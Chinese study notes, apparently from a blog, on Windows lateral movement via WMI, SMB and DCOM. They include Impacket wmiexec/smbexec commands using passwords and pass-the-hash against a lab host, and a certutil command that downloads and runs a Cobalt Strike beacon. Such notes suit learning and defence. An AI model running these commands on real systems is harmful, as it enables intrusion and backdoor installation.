当前位置: 首页 > news >正文

第179-180天:横向移动篇入口切换SMB共享WMI管道DCOM组件Impacket套件CS插件

学习的目的

windows 2012以上默认关闭了Wdigest,所以攻击者无法通过内存获取到明文密码
为了针对以上情况 所以有四种方法解决:
1.利用(PTH,PTK)等进行移动不需要明文
2.利用其他服务协议(SMB/WMI等进行哈希移动)
3.利用注册表开启(wdigest auth)进行获取、
4.利用工具或者第三方平台(HASHCAT进行破解获取)
image

WMI

WMI全称"windows管理规范",从win2003开始一直存在。它原本的作用是方便管理员对windows主机进行管理。因此在内网渗透中,我们可以使用WMI进行横向移动,支持用户名明文或者hash的方式进行认证,并且该方法不会在目标日志系统留下痕迹。
利用条件:
1、WMI服务开启,端口135,默认开启。
2、防火墙允许135、445等端口通信。
3、知道目标机的账户密码或HASH。

wmi横向移动的使用:wmiexec-impacket (主要使用方法)

python wmiexec.py sqlserver/administrator:admin!@#45@192.168.3.32
python wmiexec.py sqlserver/administrator:admin!@#45@192.168.3.32 "whoami"
python wmiexec.py -hashes :518b98ad4178a53695dc997aa02d455c sqlserver/administrator@192.168.3.32 "whoami"
下载后门:
python wmiexec.py sqlserver/administrator:admin!@#45@192.168.3.32 "certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"
执行后门:
python wmiexec.py sqlserver/administrator:admin!@#45@192.168.3.32 "c:/beacon.exe"

通过wmic 进行后门上线,这边的主机名和用户名是通过前期的信息收集收集而来的
image

SMB服务

SMB服务通常由文件服务器提供,它允许客户端计算机通过网络访问服务器上的共享资源。通过SMB用户可以在网络上访问和共享文件夹、文件以及打印机,从而实现在不同计算机之间方便地共享数据和打印输出。利用SMB可通过明文或HASH传递来远程执行。
利用条件:
1、文件与打印机服务开启,默认开启。
2、防火墙允许135、445等端口通信。
3、知道目标机的账户密码或HASH。

利用方法
法一,smbexec-impacket

外部:(交互式)
python smbexec.py sqlserver/administrator:admin!@#45@192.168.3.32
python smbexec.py -hashes :518b98ad4178a53695dc997aa02d455c sqlserver/administrator@192.168.3.32

法二4.CS插件:
cs-psexec
SMB横向移动:
推荐使用impacket和CS插件
image

image

IIS服务器的目录 c:\inetpub\wwwroot
image

通过wmic 进行后门上线,这边的主机名和用户名是通过前期的信息收集收集而来的
image

有可以直接进行交互式的工具以及CS的插件cscript(不建议使用)

SMB横向移动:
推荐使用impacket和CS插件
image

image

dcom是通过powershell进行利用的,只有windows7(windows server8)以后的版本才有powershell,并且需要关闭防火墙,比较鸡肋。

实战当中,要去分析防火墙限制了什么协议,然后再来选择通过上面方式进行横向移动
像SMB这种就需要开放文件和打印机共享,怎么判断限制了什么协议,就可以直接使用impacket里面的代码进行攻击,成功的话就是可以

电脑是默认打开文件和打印机共享的,所以正常是可以使用SMB进行横向移动的
image

主要注意几个点:
(1)使用命令攻击时计算机名需要写入,分清域内用户和域外用户
(2)wmi,smb,dcom三个横向手法所需要的条件,并且要学会什么时候使用什么协议进行攻击,也就是用impacket进行探测,探测成功后进行使用
(3)掌握明文和非明文(hash)的攻击方法
(4)掌握计算机名的信息收集,主要是通过spn收集,systeminfo,net view /domain

http://www.jsqmd.com/news/29278/

相关文章:

  • 游记 CSP-S2025
  • VRP基本配置命令
  • 2025 年 11 月 CBN 砂轮厂家最新推荐:结合剂迭代 + 精度优化,高耐用产品选购指南
  • Newton迭代法-----牛顿迭代法求解高次方函数的近似根
  • 2025 年 11 月 CBN 砂轮厂家最新推荐:磨料优化 + 工艺升级,高适配产品选购指南
  • 解码LVGL样式
  • 设备调试基础实验
  • 20231302邱之钊密码系统设计实验二一
  • 2025 年 11 月运动木地板厂家最新推荐,成分焕新与效能强化!—— 精准检测与稳定性能深度解析
  • 【软考】信安中级密码学专题
  • 算法 第二次作业
  • JavaScript异步编程:从回调地狱到优雅解决方案
  • 使用JavaScript和Node.js构建简单的RESTful API
  • JavaScript中的闭包:原理、应用与代码
  • 2025 年 11 月 PVC 地板厂家最新推荐,聚焦原料安全与功效稳定的专业产品解析
  • 2025 年 11 月 PVC 地板厂家最新推荐,聚焦原料合规与功效持久的专业产品解析
  • 2025 年 11 月 PVC 地板厂家最新推荐,聚焦成分安全与功效持续的优质产品解析
  • 2025 年 11 月 PVC 地板厂家最新推荐,聚焦原料品质与功效长效性的优质产品解析
  • React Hooks:提升前端开发效率的关键
  • 网络设备命令行
  • 基于BESO方法实现MBB梁一体化拓扑优化
  • 究极干货 —— 用最纯粹的语言,解析 DeepSeek OCR
  • 【图文详细】用HBuilder X写PHP并且能够在浏览器运行打开 - 昵
  • 可视化水表数据并实现用水量超标警报的技术方案
  • 11.2 —— (VP)2022icpc南京
  • 第二次软件工程作业
  • Edge---浏览器优化配置
  • 华为Matebook清灰之后扬声器没声音
  • string.replace替换null
  • 类和对象-多态project09